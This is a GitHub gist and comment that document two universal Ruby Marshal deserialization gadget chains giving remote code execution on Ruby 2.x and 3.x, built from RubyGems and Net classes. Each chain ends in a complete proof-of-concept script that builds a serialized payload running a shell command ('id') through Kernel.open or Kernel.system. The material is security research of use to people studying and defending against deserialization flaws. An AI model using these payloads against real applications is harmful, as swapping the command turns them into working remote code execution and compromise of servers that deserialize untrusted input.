Skip to content

Instantly share code, notes, and snippets.

@rootxharsh
Last active December 22, 2022 21:35
Show Gist options
  • Save rootxharsh/844e901f79c036245f6e336134255ce2 to your computer and use it in GitHub Desktop.
Save rootxharsh/844e901f79c036245f6e336134255ce2 to your computer and use it in GitHub Desktop.

RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN

https://www.elttam.com/blog/ruby-deserialization/

Important before begin reading

  • Marshal.dump means serialize
  • Marshal.load means unserialize
  • When an object of a class is serialized, marshal_dump method (if defined in class) is called.
  • When an object of a class is underialized, marshal_load method (if defined in class) is called.
  • When a undefined method is called on an object, method_missing method (if defined in class) is called.

**Chaining begins

  • We can serialize Gem::Requirement with marshal_dump to set our controlled variable (@requirements)

  • When we deserialize an object in ruby, marshal_load method of that object is called if defined. Gem::Requirement.marshal_load calls fix_syck_default_key_in_requirements.

  • Call to fix_syck_default_key_in_requirements leads a call to @requirements[0].each meaning OUR_CONTROLLED_OBJECT.each

  def marshal_dump # :nodoc:
    fix_syck_default_key_in_requirements

    [@requirements]
  end

  def marshal_load array # :nodoc:
    @requirements = array[0]

    fix_syck_default_key_in_requirements
  end

  def fix_syck_default_key_in_requirements # :nodoc:
    Gem.load_yaml

    # Fixup the Syck DefaultKey bug
    @requirements.each do |r|
      if r[0].kind_of? Gem::SyckDefaultKey
        r[0] = "="
      end
    end
  end
  • Gem::DependencyList has custom each method. If we set @requirements[0] to object of Gem::DependencyList we can call Gem::DependencyList.each.

  • Gem::DependencyList.each inturns calls Gem::DependencyList.dependency_order which inturns calls strongly_connected_components. This is defined in Tsort which is included in Gem::DependencyList.

  • After a few calls in Tsort::strongly_connected_components (check https://github.com/ruby/ruby/blob/7cc0c53169759996f75eacd7cceb2ea8d47c57d7/lib/tsort.rb#L255) this will call INCLUDER-CLASS.tsort_each_child method hence we get a call on Gem::DependencyList.tsort_each_child leading to @specs.sort.reverse. Giving a new capability to call sort on @specs instance variable.

  require 'tsort'
  include TSort

  def each(&block)
    dependency_order.each(&block)
  end

  def dependency_order
    sorted = strongly_connected_components.flatten

    ...
  end

  def tsort_each_child(node)
    specs = @specs.sort.reverse
    ...
  end
  • sort uses <=> between array elements to compare.

image

  • A custom implementation of <=> is in Gem::Source::SpecificFile. Which inturns calls name on @spec instance variable.
  def <=> other
    case other
    when Gem::Source::SpecificFile then
      return nil if @spec.name != other.spec.name
      ....
  • name method in Gem::StubSpecification calls data which calls Kernel.open on loaded_from instance variable. Thus completing the chain.
  def name
    data.name
  end

  def data
    unless @data
      begin
        saved_lineno = $.
        open loaded_from, OPEN_MODE do |file|
          begin

Exploit PoC;

class Gem::StubSpecification
  def initialize
  end
end

a = Gem::StubSpecification.new
a.instance_variable_set(:@loaded_from, '|id 1>&2')

class Gem::Source::SpecificFile
  def initialize
  end
end

b = Gem::Source::SpecificFile.new
c = Gem::Source::SpecificFile.new
b.instance_variable_set(:@spec, a)

class Gem::DependencyList
  def initialize
  end
end

@@d = Gem::DependencyList.new
@@d.instance_variable_set(:@specs, [b,c])

class Gem::Requirement
  def marshal_dump
    [@@d]
  end
end

payload = Marshal.dump(Gem::Requirement.new)
pp = payload.unpack('H*')[0]
puts pp
@iamnoooob
Copy link

iamnoooob commented Mar 6, 2022

Universal Deserialisation Gadget for Ruby 2.x-3.x

  1. Use the above trick of Gem::Requirements to invoke each via marshal_load.
    Reference: https://gist.github.com/rootxharsh/844e901f79c036245f6e336134255ce2
class Gem::Requirement
  def marshal_dump
    [@requirements]
  end
end
  1. Calling custom implemented each method on Gem::Package::TarReader would give us access to .read method invocation on our controlled object.

There's a catch however, we need to return false from @io.eof? method and since @io is an instance variable we can control it.

Snippet of Gem::Package::TarReader

class Gem::Package::TarReader
  def each
    return enum_for __method__ unless block_given?

    use_seek = @io.respond_to?(:seek)

    until @io.eof? do
      header = Gem::Package::TarHeader.from @io
      return if header.empty?
  # snip
  end
end

class Gem::Package::TarHeader
  def self.from(stream)
      header = stream.read 512
      empty = (EMPTY_HEADER == header)
  # snip
  end
end

It was found that Net::BufferedIO has an eof? method too and again we can control @io instance variable inside this class

....
    def eof?
      @io.eof?
    end

Gem::Package::TarReader::Entry also has an eof? method which we can control with the help of @read and @header instance variables.

class Gem::Package::TarReader::Entry
...

 def eof?
   check_closed

   @read >= @header.size
 end
..
end

so that means, we can pass the eof? condition in until loop and would be able to call read on Net::BufferedIO

  1. Calling read on Net::BufferedIO object gives us the ability to call LOG which inturn invokes this expression.
    def LOG(msg)
      return unless @debug_output
      @debug_output << msg + "\n"
    end

where setting @debug_output to Net::WriteAdapter will allow us to call << method with argument msg which unfortunately is not in our control.

and looking at Net::WriteAdapter class, << method is an alias to write method which looks something like this:

class WriteAdapter
  def initialize(socket, method)
    @socket = socket
    @method_id = method
  end
    ...

  def write(str)
    @socket.__send__(@method_id, str)
  end

    ...
  def <<(str)
    write str
    self
  end
    ...
end

As we can see @socket and @method_id is in our control. Thus, giving us the capability to call any method on an Object with one argument(which would not be in our control since it comes from LOG method)

  1. Using this powerful primitive, we can chain this with Gem::RequestSet class' resolve method
    to again invoke << or say, write method of Net::WriteAdapter with our controlled input this time since we can control @git_set unlike in LOG Method where argument was not in our control

Gem::RequestSet#resolve

def resolve(set = Gem::Resolver::BestSet.new)
  @sets << set
  @sets << @git_set
  # snip
end

Exploit POC

Gem::SpecFetcher
Gem::Installer


module Gem
    class Requirement
      def marshal_dump
        [@requirements]
      end
    end
  end
  

 c1=Net::WriteAdapter.allocate
 c1.instance_variable_set(:@socket, :Kernel)
 c1.instance_variable_set(:@method_id,:system)

 
d=Gem::RequestSet.allocate
d.instance_variable_set(:@sets, c1)
d.instance_variable_set(:@git_set,"id")

c=Net::WriteAdapter.allocate
c.instance_variable_set(:@socket, d)
c.instance_variable_set(:@method_id,:resolve)


e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")

b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c) 

a=Gem::Package::TarReader.allocate
a.instance_variable_set(:@io,b)

final=Gem::Requirement.allocate
final.instance_variable_set(:@requirements, a)

x= Marshal.dump( final)
puts(Marshal.load(x))

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment